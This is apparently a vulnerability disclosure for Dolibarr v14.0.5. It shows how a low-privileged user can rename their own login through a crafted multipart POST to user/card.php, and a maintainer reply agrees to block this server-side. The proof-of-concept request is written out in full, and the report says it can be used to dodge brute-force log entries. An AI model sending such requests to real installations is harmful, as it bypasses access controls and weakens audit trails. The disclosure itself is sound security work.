Business Logic Errors in dolibarr/dolibarr
Reported on
Feb 22nd 2022
Description
In Dolibarr v14.0.5, any low privileged users could update their login name which should only be updated by admin.
Proof of Concept
POST /dolibarr/user/card.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Referer: http://localhost/dolibarr/user/card.php?id=2&action=edit
Cookie: DOLSESSID_328fed74f1e6fdd21cc158ce6354602f=c56a7d101cf224887cb3453bd661e142
<SNIP><SNIP>
-----------------------------4195996012714159873802686488
Content-Disposition: form-data; name="action"
update
-----------------------------4195996012714159873802686488
Content-Disposition: form-data; name="login"
supernewname // change to new unique login name here, new login name must not exist yet
-----------------------------4195996012714159873802686488
Content-Disposition: form-data; name="save"
Save
-----------------------------4195996012714159873802686488--
Impact
This vulnerability is capable of evading security events such as brute-force login attempts. Once login, the attacker could change the victim login to evade security event description for "Bad value for login or password - login=realusername"
Having a user being able to edit his information (including his login) is the expected behaviour if the user has permission "Create/modify his own user information".
I see, as I can't modify the login directly from the UI as it is readonly.
You're right. May be not a real vulnerability but there is at least a non consistency behaviour with UI. So i will fix it by disabling edit for non admin users on server side too (it was designed for but it is not a so interesting feature).